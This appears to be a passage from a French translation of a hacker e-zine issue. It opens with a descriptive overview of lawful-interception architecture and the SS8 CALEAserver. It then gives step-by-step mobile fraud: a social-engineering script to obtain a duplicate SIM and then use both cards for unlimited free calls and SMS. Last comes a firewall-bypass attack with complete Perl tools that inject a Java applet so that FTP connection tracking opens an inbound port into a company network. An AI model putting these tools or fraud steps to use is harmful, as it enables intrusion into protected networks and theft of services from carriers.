Digital Paquet Data (CDPD), CDMA, TDMA, PCS1900, ou les services de donnees
en mode paquet bases sur le GSM)
Les services X.25
Les services TCP/IP
Paging (une voie ou deux voies)
Les services de donnees en mode paquet utilisant les canaux de circulation
----[ 4.2 La Fonction de Delivrance (DF)
La DF est responsable de la delivrance de communications intercepetees a une
ou plusieurs Fonctions de Collection. Ceci est effectue sur deux types de
canaux distingts : les Canaux de Contenu d'Appel (CCC) et les Canaux d'Appels
de Donnees (CDC). Les CCC sont generalement utilises pour transporter du
contenu d'appel comme la voix ou des communications de donnees. Les CCC sont
soit "combines", c'est a dire qu'ils portent la transmission et la reception
sur le meme canal, soit "separes", c'est a dire que la transmission et la
reception sont portees sur des canaux separes. Les CDC sont generalement
utilises pour transporter des messages qui dont le rapport est base sur du
texte comme les Short Message Services (SMS). L'information dans les CDC est
transmise en utilisant un protocole appele Lawfully Authorized Electronic
Surveillance Protocol (LAESP).
----[ 4.3 La Fonction de Collection (CF)
La CF est responsable de la collecte et de l'analyse des communications
interceptees et des informations d'identification de l'appel, et est la
responsabilite des LEA.
----[ 4.4 La Fonction d'Administration de Fournisseur d'Acces (SPAF)
La SPAF est responsable du controle de l'Acces des TSP et des Fonctions de
Delivrance.
----[ 4.5 La Fonction d'Administration de Maintient de l'Ordre (LEAF)
La LEAF est responsable du controle de la Fonction de Collection des LEAS et
est la responsabilite des LEA.
A present que je vous ai presente la LEAS regardons une implementation de
ceci, qui est actuellement sur le marche et est en usage chez quelques TSP :
Passage en revue du CALEAserver :
Le CALEAserver est manufacture par SS8 Networks. C'est une collection et
systeme de delivrance pour des informations d'appel et de contenu. Ca permet
aux reseaux existants de devenir complement compatible CALEA. Ca permet a une
LEA de monitorer les communications sans ou avec fil, et de rassembler des
informations a propos des appels, a distance. Le CALEAserver s'interface avec
le reseau a travers Signaling System 7 (SS7) qui est une extension du Reseau
de Telephone Public Commute (RTC) [Public Switched Telephone Network : PSTN].
Le CALEAserver est compose de trois couches majeures : la Couche Plate-forme
Materielle, le Couche Plate-forme Reseau et la couche Application Logicielle.
La Couche Plate-forme Materielle consiste en la Matrice de Commutation et la
Plate-forme de Calcul. La Matrice de Commutation est un commutateur
programmable industriel standard. Il contient des cartes T1 pour la
transmission de voix et des connections croisees entre les commutateurs, des
cartes DSP pour les circuits de conferance requis pour l'interception et la
reception/generation DTMF, et des cartes CPU pour la gestion du switch. La
Plate-forme de Calcul est une machine simple basee sur UNIX, montee en rack.
Elle est utilisee pour lancer le logiciel d'application du CALEAserver qui
fournit les capacites de Fonction de Delivrance et controle la Matrice de
Commutation.
La Couche Plate-forme Reseau fournit les capacites de SS7 aussi bien que le
les API de traitement d'appel pour la Couche d'Application Logicielle. Ca
controle egalement la Matrice de Commutation.
La Couche d'Application Logicielle est la ou les Fonctions de Delivrance et
d'Administration de Fournisseur de Service sont supportees. Ca isole les
interfaces des Fonctions d'Acces et de Collection, de la principale
fonctionnalite de delivrance permttant de multiples Fonctions d'Acces et de
Collection a travers les Modules d'Interface qui peuvent etre ajoutes ou
modifies sans impact sur les fonctionnalites existantes.
Capacites du systeme :
Configurable pour jusqu'a :
1000 Fonctions de Collection
128 Interfaces de Fonctions d'Acces
32 liens SS7
512 interceptions de contenu d'appel simultanees sur une unique base d'appel
64 equipements de T1 voix
Environnment operationel :
Compatible NEBS, -48 volt, equipement monte en rack 19"
Processeur UltraSPARC de derniere generation
Bus PCI 66 MHz
Systeme d'exploitation UNIX Solaris
Disques de 9 giga-octets, SCSI 40 Mo/s
512 Mo de RAM standard
Ethernet/Fast Ethernet, 10-BaseT and 100-BaseT
Deux ports serie RS-232C/RS-423
Commutateur programmable et scalable avec jusqu'a 4000 port time slot interchange
Caracteristiques :
Outils de tests inclus pour le test a distance
Systeme de gestion SS7 total
Rapport d'alarmes et logging des erreurs
Recuperation automatique des erreurs logicielles
Sauvegarde des disque automatique ou manuelle
Support de SNMP
Support optionel de X.25 et autres interfaces de fonctions de collection
Standart ITU MLL et support des GUI basees sur Java
Support des reseaux circuit-switched et packet-switched
Support optionel pour d'autres interfaces de fonction d'acces comme requis pour la compatibilite CALEA, incluant :
*HLR (Home Location Register)
*VMS (Voice Mail System : messagerie vocale)
*SMS (Short Message System)
*CDPD wireless data
*Centre d'authentification
*Approvinionnement d'acces a distance
Ceci conclut l'introduction a LAES. Ceci n'etant qu'une introduction, j'ai
laisse tomber braucoup de details comme les informations sur le protocole.
Cependant, si vous etes interesses pour en lire plus sur LAES je vous
suggererai de lire le standard TIA J-STD-025A. J'espere que vous pourez en
lire un peu plus a propos des possibilites de surveillance des LEA. Si vous
avez des questions soyez libres de me contacter. Adresse e-mail : voir plus
haut.
--[ 3 - Appels gratuits depuis un mobile
par eurinomo
Ce bug peut être utilisé pour appeler gratuitement, envoyer gratuitement des
SMS, et avoir les fonctionnalités wap gratuites.
Premièrement, vous devez voir si votre opérateur mobile est vulnérable
au bug ou non. Appelez juste le service d'appel gratuit (pour ne pas
gaspiller de l'argent) et dites leur que votre carte (sim) est bloquée, que
vous avez oublié votre téléphone dans la chambre de votre petite sœur et que
votre mobile affiche " Carte sim bloqué " ou quelques chose dans ce goût là.
Dites leur que votre sœur à probablement faussé le puk parce le téléphone
était sur off, et que maintenant il est allumé. Ensuite le mec va dire qu'il
faut que vous vous rendiez dans un magasin de téléphonie mobile, que vous
devez leurs exposer le problème, et qu'ensuite ils vous donneront une autre
carte avec le même numéro, et le même crédit que l'ancienne possédée.
Demandez-leur combien tout cela va vous coûter et le mec va vous dire que
c'est gratuit ! :-)
Maintenant le matériel dont vous avez besoin:
- Un téléphone mobile qui n'est pas un Nokia (c'est mieux qu'il soit à vous,
et qu'il ne soit pas débloqué)
- Et un Nokia (peut être débloqué, volé ou emprunté. Faites ce que vous
voulez !)
Comment procéder :
Mobile1 = Non Nokia
Mobile2 = Nokia
Insérez la carte dans le mobile1 et entrez votre pin. Lorsque le téléphone
démarre tapez ce code 3 fois :
**04*00000000*00000000*00000000#
ou essayer
**05*00000000*00000000*00000000#
Consultez le manuel et chercher le code nécessaire pour changer le puk si
les exemples précédents ne fonctionnent pas, ou envoyer un e-mail à Motorola,
dites-leur que votre mobile est un Motorola, et que vous souhaitez changer le
puk et que vous savez qu'il faut changer un code (ce code n'est pas illégal
et il est aussi spécifié dans le manuel).
Si le code n'est pas le premier que j'ai donné plus haut, c'est à près.
Si vous avez une erreur motorola lorsque vous tapez **04** ou **05** il va
vous indiquer " entrez l'ancien puk " (ou quelque chose comme çà)
automatiquement et ensuite demandez le nouveau code puk deux foix. Mais
le plus important dans cette histoire c'est de bloquer votre carte, je pense
que vous pouvez également le faire si vous entrez un code pin erroné trois
fois de suite, et qu'ensuite vous entrez un puk erroné et...c'est bloqué !
Mais ce que je viens de dire à propos du code n'a pas été testé, vous pouvez
essayer ce dernier système également, à vos propres risques.
Maintenant allez dans le magasin de téléphonie mobile et racontez leurs
ce qui s'est passé (votre petite sœur, ou une fille d'un ami de votre mère,
enfin quelque chose comme çà ...). Ensuite, ils vont dupliquer la carte et
ils vont vous donner la nouvelle *et* l'ancienne. A la fin, ils vous donnent
normalement les deux. (NDT : ou prétextez pour avoir les deux...)
Maintenant la partie facile. Insérez l'ancienne carte dans le nokia,
allumez-le et vous voyez que la carte n'est pas bloquée !!!! et si vous
insérez la carte dans un autre phone (non Nokia), vous verrez que c'est
bloqué. Le bug est plus un " bug Nokia " qu'un " bug réseau ". Maintenant
envoyez un SMS avec l'ancienne carte et regardez si votre crédit baisse.
Ensuite regardez si le crédit a été décompté de la nouvelle carte ; si ce
n'est pas le cas c'est parce que le réseau est vulnérable au bug et vous ne
perdrez pas de tunes de votre ancienne carte. Toutefois vous avez seulement
deux semaines ou moins avant qu'ils coupent complètement la ligne du réseau,
et que ce soit complètement bloqué, mais la nouvelle carte aura le même
crédit que l'ancienne, et vous pouvez répéter l'opération encore et
encore.... Je ne pense pas qu'il vous attraperont (NDT : hum...)
Cette technique à été testée au Portugal sur le réseau GSM " Vodafone "
--[ 5 - Java traverse le firewall
Récemment il y a eu beaucoup de bruit autour du fait qu'il y a beaucoup
d'insécurités dans les firewalls qui supporte le traçage de sessions FTP.
Elles peuvent être dupées lorsque quelqu'un ouvre une session FTP en
utilisant une seconde pile TCP par exemple. Je vous recommande le CERT pour
une dossier complet. Il y a eu d'autres techniques comme certains tags
intégrés dans des fichiers html qui font ouvrir au butineur des connections
qu'un firewall peut interpréter comme une session FTP.
Jetons un oeil sur l'exemple suivant :
[ Compagnie ] ---- [ firewall ] --- [des routeurs ] --- [ WEB ]
Une personne de 'compagnie' surfe sur le web et doit passer ses paquets au
travers du routeur qui n'est pas sous le contrôle de 'compagnie' mais de
l'attaquant. Scénario ordinaire non ?
Quelques outils a été compilé pour circonvenir à une telle installation. Je
voulais également dire, pour autant que vous activiez un traçage vous
êtes perdu. Tous les chemins mènent à Rome ;)
Laissez-moi vous expliquez ces petit outils vite fait.
Html-redirect : l'attaquant installe ceci sur un routeur et fixe une règle de
redirection sur le port 8888.
Class-inject : L'attaquant démarre ceci avec eftepe.class. html-redirect va
rediriger les requêtes html à ce mini-httpd. Il force le butineur à
l'intérieur de la compagnie qui est protégé par le firewall, à charger
l'applet java. Ce dernier simule des sessions FTP actives à un routeur et est
autorisé parce que des managers de sécurité voient un routeur comme l'origine
de eftepe.class. Le firewall va ensuite ouvrir le port 7350 entrant, et ainsi
vous pourrez vous connecter sur le routeur:20 à la company:7350.
ftpd : L'attaquant doit démarrer ceci sur un routeur pour simuler une session
FTP.
Createclass : Le script pour créer le code java correct qui utilise l'ip
appropriée (d'un routeur) et du port (de 'company') ensuite l'attaquant peut
aussi prendre place sur le web (c'est à dire phrack.org :) et intègrent des
applets java malicieux. Ainsi prenez garde car X fonctionne sur le port
6000. :-)
C'est vraiment très simple, et tout ceci ne vaut pas vraiment un article,
c'est pourquoi vous allez trouver plus bas un add-on.
<classinject>
#!/usr/bin/perl -w
# Met un fichier class dans le butineur distant
#
use IO::Socket;
sub usage
{
print "Usage: $0 <class file>\n\n";
exit;
}
my $classfile = shift || usage();
my $class;
my $classlen = (stat($classfile))[7];
open I, "<$classfile" or die $!;
read I, $class, $classlen;
close I;
my $sock = new IO::Socket::INET->new(Listen => 10,
LocalPort => 8080,
Reuse => 1) or die $!;
my $conn;
for (;;) {
next unless $conn = $sock->accept();
if (fork() > 0) {
$conn->close();
next;
}
my $request = <$conn>;
if ($request =~ /$classfile/) {
my $classcontent = "HTTP/1.0 200 OK\r\n".
"Server: Apache/1.3.6 (Unix)\r\n".
"Content-Length: $classlen\r\n".
"Content-Type: application/octet-stream\r\n\r\n".$class;
print $conn $classcontent;
print "Injected to ", $conn->peerhost(), "\n";
} else {
print $conn "<HTML>".
"<APPLET CODE=\"$classfile\" WIDTH=1 HEIGHT=1>".
"</APPLET></HTML>\r\n\r\n";
}
$conn->close();
exit(0);
}
</classinject>
<createclass>
#!/usr/bin/perl -w
$ENV{"PATH"} = $ENV{"PATH"}."/usr/lib/java/bin";
print "Creating apropriate Java class-file for opeing port > 1023\n";
print "Enter IP to connect to on port 21 (e.g. '127.0.0.1'):";
my $ip = <STDIN>; chop($ip);
print "Enter port to open:";
my $port = <STDIN>; chop($port);
my $p1 = int $port/256;
my $p2 = $port%256;
open O, ">eftepe.java" or die $!;
print O<<EOF;
import java.io.*;
import java.applet.*;
import java.util.*;
import java.net.*;
public class eftepe extends Applet {
public void init()
{
try {
Socket s = new Socket("$ip", 21);
OutputStream os = s.getOutputStream();
BufferedReader in = new BufferedReader(new InputStreamReader(s.getInputStream()));
PrintWriter pw = new PrintWriter(os, true);
in.readLine();
pw.println("USER ftp\\r\\n");
in.readLine();
pw.println("PASS ftp\\r\\n");
in.readLine();
String port = new String("PORT ");
String me = InetAddress.getLocalHost().getHostAddress();
port += me.replace('.', ',');
port += ",$p1,$p2\\r\\n";
pw.println(port);
for(;;);
} catch (Exception e) {
e.printStackTrace();
}
}
}
EOF
print "Compiling into classfile...\n";
system("javac eftepe.java");
print "Done. Results are in eftepe.class\n";
</createclass>
<ftpd>
#!/usr/bin/perl -w
use IO::Socket;
my $sock = new IO::Socket::INET->new(Listen => 10,
LocalPort => 21,
Reuse => 1) or die $!;
my $conn;
for (;;) {
$conn = $sock->accept();
if (fork() > 0) {
$conn->close();
next;
}
print $conn "220 ready\r\n";
<$conn>; # user
print $conn "331 Password please\r\n";
<$conn>; # pass
print $conn "230 Login successful\r\n";
<$conn>; #port
print $conn "200 PORT command successful.\r\n";
sleep(36);
$conn->close();
exit 0;
}
</ftpd>
<html-redirect>
#!/usr/bin/perl -w
# Simple HTTP Redirector
#
# iptables -A PREROUTING -t nat -p tcp --dport 80 -j REDIRECT --to-port 8888
use IO::Socket;
sub usage
{
print "Usage: $0 <IP|Host>\n".
"\t\tIP|Host -- IP or Host to redirect HTML reuests to\n\n";
exit;
}
my $r = shift || usage();
my $redir = "HTTP/1.0 301 Moved Permanently\r\n".
"Location: http://$r:8080\r\n\r\n";
my $sock = new IO::Socket::INET->new(Listen => 10,
LocalPort => 8888,
Reuse => 1) or die $!;
my $conn;
for (;;) {
next unless $conn = $sock->accept();
if (fork() > 0) {
$conn->close();
next;
}
my $request = <$conn>;
print $conn "$redir";
$conn->close();
exit(0);
}
</html-redirect>
<testconnect>
#!/usr/bin/perl -w
use IO::Socket;
sub usage
{
print "Usage: $0 <Host> <Port>\r\n";
exit 0;
}
my $a = shift || usage();
my $b = shift || usage();
my $conn = IO::Socket::INET->new(PeerAddr => $a,
PeerPort => $b,
LocalPort => 20,
Type => SOCK_STREAM,
Proto => 'tcp') or die $!;
print $conn "GOTCHA\r\n";
$conn->close();
</testconnect>
<conntrack-start>
#!/bin/sh
# sample FTP session tracked firewall for 2.4 linux kernels
# modprobe ip_conntrack_ftp
iptables -F
iptables -A INPUT -p tcp --sport 21 -m state --state ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --dport 21 -m state --state NEW,ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp --sport 20 -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -p tcp --dport 20 -m state --state ESTABLISHED -j ACCEPT
#iptables -A INPUT -p tcp --syn -j LOG
iptables -A INPUT -p tcp --syn -j DROP
</conntrack-start>
|=[ EOF ]=---------------------------------------------------------------=|